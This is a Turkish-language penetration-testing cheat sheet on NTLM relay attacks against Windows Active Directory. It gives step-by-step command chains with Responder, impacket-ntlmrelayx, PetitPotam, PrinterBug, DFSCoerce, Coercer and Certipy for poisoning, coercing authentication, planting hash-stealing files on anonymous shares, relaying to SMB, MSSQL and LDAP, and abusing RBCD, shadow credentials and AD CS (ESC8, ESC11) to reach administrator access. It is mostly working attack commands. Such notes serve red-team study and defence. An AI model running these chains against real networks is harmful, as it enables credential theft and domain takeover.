NTLM Relay Attacks

NTLM Nedir?

  • Windows active directory ağlarında kimlik doğrulama için geliştirilmiş bir protokoldür.

  • Kerberostan daha güvensizdir.

NTLM's pass-through authentication

  • Bu kimlik doğrulama yöntemi hedef makine bir domain içinde ise gerçekleştirilir.

Workgroup Authentication

  • Eğer hedef makine domaine bağlı değilse parola hashini kendi SAM veritabanı ile kontrol eder.

SMB Signing ve SMB Sealing

  • SMB Signing: Sunucu ve kullanıcı arasındaki her adım kullanıcı ve sunucunun parola hashlerinin bir kombinasyonu ile imzalanır. Bu şekilde mesaj okunabilir fakat bir aradaki bir saldırgan tarafından değiştirilemez.

  • SMB Sealing: Her mesaj aynı yöntem ile imzalanır ve aynı zamande şifrelenir. Bu şekilde saldırgan mesajı hem göremez hem değiştiremez.

LLMNR, NBT-NS, and mDNS Poisoning

  • Bu protokoller ağda bir DNS sorgusu başarısız olduğunda devreye giren yedek protokollerdir.

  • Bir dns sorgusu başarısız olduğunda cihaz ağa bir broadcast mesajı gönderir ve bu sunucunun IP adresini bilen biri olup olmadığını sorar.

  • Biz bu adımda sunucunun IP adresini kendimiz olarak gösterirsek sunucu bize auth olmaya çalışır ve kimlik bilgisini gönderir.

# Sadece analiz eder poisoning yapmaz
responder -I eth0 -A
# Poisoning yapar
responder -I eth0

NTLM Relay

  • NTLM Relay ile kendimize gelen auth isteklerini istediğimiz makineye yönlendirebiliriz ve o kişinin yetkileri ile session alabiliriz.

  • SMB Signing kapalı olan hedefler etkilenir.

# SMB signing kapalı olan hedefleri listeler
nxc smb 10.0.0.0/24 --gen-relay-list relay.txt
responder-RunFinger -i 10.0.0.0/24
# Hangi servisi relay etmek istiyorsak onun sunucusunu kapatıyoruz
micro /usr/share/responder/Responder.conf
# Zehirlemeye başlıyoruz
responder -I eth0
# Responder'a gelen bağlantıyı hedeflere yönlendiriyoruz
impacket-ntlmrelayx -tf relay.txt -smb2support
# Default olarak SAM veritabanını çeker fakat istersek komut çalıştırabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -c 'whoami'

Ntlmrelayx

# Zehirlemeye başlıyoruz
responder -I eth0

# Bağlantıyı tek hedefe yönlendirir
impacket-ntlmrelayx -t smb://10.0.0.2
# Belirlediğimiz kullanıcıdan gelen bağlantıyı bir hedefe yönlendirir
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2
# Belirlediğimiz kullanıcıdan gelen ilk bağlantıyı bir hedefe yönlendirir
impacket-ntlmrelayx -t smb://CORP\\JOHN@10.0.0.2 --no-multirelay

# Socks4 portu 1080 olmalı
micro /etc/proxychains4.conf
# Socks bağlantısı kurabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
# Bağlantıları listeler
ntlmrelayx> socks
# Proxychains ile socks bağlantılarını kullanabiliriz
proxychains -q impacket-smbexec CORP/JOHN@10.0.0.2 -no-pass
proxychains -q impacket-smbclient CORP/JOHN@10.0.0.2 -no-pass
# Interaktif mod ile otomatik SMBClient bağlantısı kurulur ve nc ile bağlanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -i
nc -nv 127.0.0.1 11000

MSSQL Üzerinden NTLM Relay

# SMB Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Tek bir hedefe relay ediyoruz
impacket-ntlmrelayx -t mssql://10.0.0.2 -smb2support -socks
# Socks bağlantısı ile bağlanıyoruz
proxychains -q impacket-mssqlclient CORP/JOHN@10.0.0.2 -windows-auth -no-pass
# Doğrudan SQL sorgusu da yapılabilir
impacket-ntlmrelayx -t mssql://CORP\\JOHN@10.0.0.2 -smb2support -q "SELECT name FROM sys.databases;"

LDAP Üzerinden NTLM Relay

# SMB ve HTTP Serveri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0

# Domain controller'da zafiyet varsa doğrudan relay edebiliriz
python cve-2019-1040-scanner/scan.py corp/john$:'pass123'@10.0.0.1
# Eğer zafiyet var ise her ntlmrelay çalıştırırken -remove-mic koymalıyız
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support -remove-mic --no-da --no-acl --lootdir ldap_dump

# Eğer zafiyet yoksa sadece HTTP istekleri relay edilebilir smb çalışmaz
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --lootdir ldap_dump
# Relay ile computer oluşturulabilir
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-da --no-acl --add-computer 'JOHNPC$'
# Aynı zamanda relay edilen kullanıcının ACL yetkileri ile otomatik yetki yükseltmesi denenebilir.
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --escalate-user 'JOHNPC$' --no-dump -debug

Bütün Servisler Üzerinden NTLM Relay

# All protokolü ile bütün servislere relay yapabiliriz 
echo "all://10.0.0.2" > relay.txt
# Bütün serverleri kapatıyoruz
micro /usr/share/responder/Responder.conf
# Poisoning başlatıyoruz
responder -I eth0
# Artık bütün relayleri socks üzerinden kullanabiliriz
impacket-ntlmrelayx -tf relay.txt -smb2support -socks
ntlmrelayx> socks

SMB Share ile Hash Toplama

# Anonim bir share arıyoruz
nxc smb 10.0.0.0/24 -u anonymous -p '' --shares
# Bu share'a girenlerin bize bağlantı göndermesini sağlayan dosyalar oluşturuyoruz
python ntlm_theft.py -g all -s 10.0.0.9 -f '@myfile'
# Anonim olan paylaşıma giriyoruz ve lnk veya url uzantılı dosyayı koyuyoruz
impacket-smbclient anonymous@10.0.0.2 -no-pass
put @myfile/@myfile.lnk
# Aynı işlemi nxc ile otomatik yapabiliriz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=10.0.0.9 NAME=important
# Artık SMB share'a bağlanan herhangi biri hashini bize gönderiyor
impacket-ntlmrelayx -tf relay.txt -smb2support -socks

WebDav ile Hash Toplama

# Webdav açık sunuculara bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Eğer hiçbir WebDav açık değilse SMB Share üzerine searchConnector-ms dosyası koyuyoruz
# SMB share'a bağlanan kişilerin bize istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing SHARE=smb FILENAME=@secret
# Webdav açık sunuculara bir daha bakıyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Anonim SMB açık olan sunucuya bu share'a bağlananların rastgele bir hedefe istek atmasını sağlayan dosya yerleştiriyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M slinky -o SERVER=NOAREALNAME@8008 NAME=important
# Artık Webdav servisi açık olan biri bu SMB share'a girerse bize bağlanıcak
responder -I eth0
# HTTP isteklerini LDAP komutları için kullanabiliriz
impacket-ntlmrelayx -t ldap://10.0.0.1 -smb2support --no-smb-server --http-port 8008 --no-da --no-acl --no-validate-privs --lootdir ldap_dump

MSSQL Hash Alma

# MSSQL servisine bağlanıyoruz
impacket-mssqlclient CORP/john@10.0.0.2 -windows-auth -no-pass
# Eğer bir mssql ele geçirdiysek kendimize SMB auth isteği gönderebiliriz
impacket-smbserver share Deneme -smb2support
exec xp_dirtree "\\10.0.0.9\Deneme"

PrinterBug (MS-RPRN)

# Printerbug ile sunucunun bize smb auth isteği atmasını zorluyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.2 10.0.0.9
# Burada SMB isteği geliyor (Net-NTLMv2)
responder -I eth0

# SMB share'a bağlanan kişilerin bize istek atarak webdav servisini açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing SHARE=smb FILENAME=@secret
# Webdav servisi açılan sunucuları buluyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Webdav servisi açık olan sunucuyu rastgele bir webdav'a yönlendiriyoruz
python krbrelayx/printerbug.py corp/john:'pass123'@10.0.0.3 RANDOMNAME@80/print
# Bu sefer HTTP isteği geliyor (NTLMv2)
responder -I eth0

PetitPotam (MS-EFSR)

# Bu zafiyet ile kendimize smb auth isteği attırabiliriz
python PetitPotam.py 10.0.0.9 10.0.0.2 -u 'john' -p 'pass123' -d corp.local
# HTTP isteği attırmak için webdav açık bir sunucuya saldırabiliriz
python PetitPotam.py RANDOMNAME@80/files 10.0.0.2 -u 'john' -p 'pass123' -d corp.local

responder -I eth0

DFSCoerce (MS-DFSNM)

# Bu zafiyet ile kendimize SMB auth isteği attırabiliriz
python dfscoerce.py -u 'john' -p 'pass123' 10.0.0.9 10.0.0.2
responder -I eth0

Coercer

  • Otomatik olarak bütün coerce zafiyetlerini dener

# Sadece coerce tekniklerini dener
Coercer scan -t 10.0.0.2 -u 'john' -p 'pass123' -d corp.local -v
# Coerce teknikleri ile bize istek attırır
Coercer coerce -t 10.0.0.2 -l 10.0.0.9 -u 'john' -p 'pass123' -d corp.local -v --always-continue
# Webdav açık sunucuda http isteği attırır
Coercer -t 10.0.0.2 -u 'john' -p 'pass123' -wh RANDOMPC -wp 80 -v

Kerberos RBCD Saldırısı

# SMB share açan kullanıcıların webdav servisi açmasını sağlıyoruz
nxc smb 10.0.0.2 -u anonymous -p '' -M drop-sc -o URL=https://10.0.0.9/testing FILENAME=@secret
# Webdav açılan sunucuları listeliyoruz
nxc smb 10.0.0.0/24 -u john -p pass123 -M webdav
# Poisoning başlatıyoruz
responder -I eth0
# Webdav açılan sunucuyu hedef alarak DC'ye yönlendiriyoruz ve kendi yetkimizi yükseltmesini istiyoruz
impacket-ntlmrelayx -t ldaps://CORP\\"SQL01$"@10.0.0.1 --delegate-access --escalate-user 'john' --no-smb-server --no-dump
# Printerbug ile hedef sunucunun bize http auth olmasını sağlıyoruz
python printerbug.py corp/john:'pass123'@10.0.0.3 RANDOM01@80/print

# Hosts dosyasına hedefi eklemeliyiz
# 10.0.0.3 sql01 sql01.corp.local
micro /etc/hosts
# Hedef için service ticket alıyoruz
impacket-getST -spn cifs/sql01.corp.local -impersonate Administrator -dc-ip 10.0.0.1 "CORP"/"john":"pass123"
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Hedefe admin yetkilerinde giriş yapabiliyoruz
impacket-psexec -k -no-pass sql01.corp.local

Shadow Credentials Saldırısı

  • Bu yöntem için domainde bir sertifika sunucusu olmalı

# Poisoning başlatıyoruz
responder -I eth0
# Burada peter kullanıcısının james kullanıcısınun msDS-KeyCredentialLink özelliği
# üzerinde editleme yetkisi var yani shodow credential saldırısı yapabilir
impacket-ntlmrelayx -t ldap://CORP\\PETER@10.0.0.1 --shadow-credentials --shadow-target JAMES --no-da --no-dump --no-acl --no-smb-server
# NTLMrelayx komutunun en altında yazan komutu çalıştırıyoruz
impacket-gettgtpkinit -cert-pfx rbnYdUv8.pfx -pfx-pass NRzoep723H6Yfc0pY91Z CORP.LOCAL/james james.ccache
# James kullanıcısının biletini import ediyoruz
export KRB5CCNAME=james.ccache
# Artık james ile giriş yapabiliriz
evil-winrm -i dc01.corp.local -r CORP.LOCAL

NTLM Relay ile AD CS Saldırısı

# Sertifika sunucusunu buluyoruz
nxc ldap 10.0.0.0/24 -u 'john' -p 'pass123' -M adcs
# Sertifikaları listeliyoruz
nxc ldap 10.0.0.1 -u john -p 'pass123' -M adcs -o SERVER=CORP-DC01-CA
# Sertifika sunucusu zafiyetlerini listeliyoruz
certipy find -u 'john'@10.0.0.1 -p 'pass123' -stdout -vulnerable -enabled

NTLM Relay ile ESC8

# Gelen istekleri relay ediyoruz
certipy relay -target "http://10.0.0.1" -template Machine
# Hedefin bize auth olmasını sağlıyoruz
python printerbug.py corp/john:'pass123'@10.0.0.2 10.0.0.9
# Pfx dosyası ile NT hashini alıyoruz
certipy auth -pfx ws01.pfx -dc-ip 10.0.0.1
# Domain SID değerini buluyoruz
impacket-lookupsid 'CORP.LOCAL/WS01$'@10.0.0.1 -hashes :<NT_HASH> | grep -i domain
# Bir TGS bileti oluşturuyoruz
impacket-ticketer -nthash <NT_HASH> -domain-sid <SID> -domain corp.local -spn cifs/ws01.corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Bileti servise bağlanmak için kullanıyoruz
impacket-psexec -k -no-pass ws01.corp.local

NTLM Relay ile ESC11

# Gelen istekleri DC'ye relay ediyoruz
certipy relay -target "rpc://10.0.0.1" -ca "CORP-DC01-CA"
# Bir makine hesabının bize smb auth olmasını sağlıyoruz
python printerbug.py CORP/john:'pass123'@10.0.0.2 10.0.0.9
# Makine hesabının NT hashini alıyoruz
certipy auth -pfx ws01.pfx -dc-ip 10.0.0.1
# Domain SID buluyoruz
impacket-lookupsid 'CORP.LOCAL/WS01$'@10.0.0.1 -hashes :<NT_HASH>
# Makine hesabı ile bir TGS bileti oluşturuyoruz
impacket-ticketer -nthash <NT_HASH> -domain-sid <SID> -domain corp.local -spn cifs/ws01.corp.local Administrator
# Bileti import ediyoruz
export KRB5CCNAME=Administrator.ccache
# Servise auth oluyoruz
impacket-psexec -k -no-pass ws01.corp.local

Last updated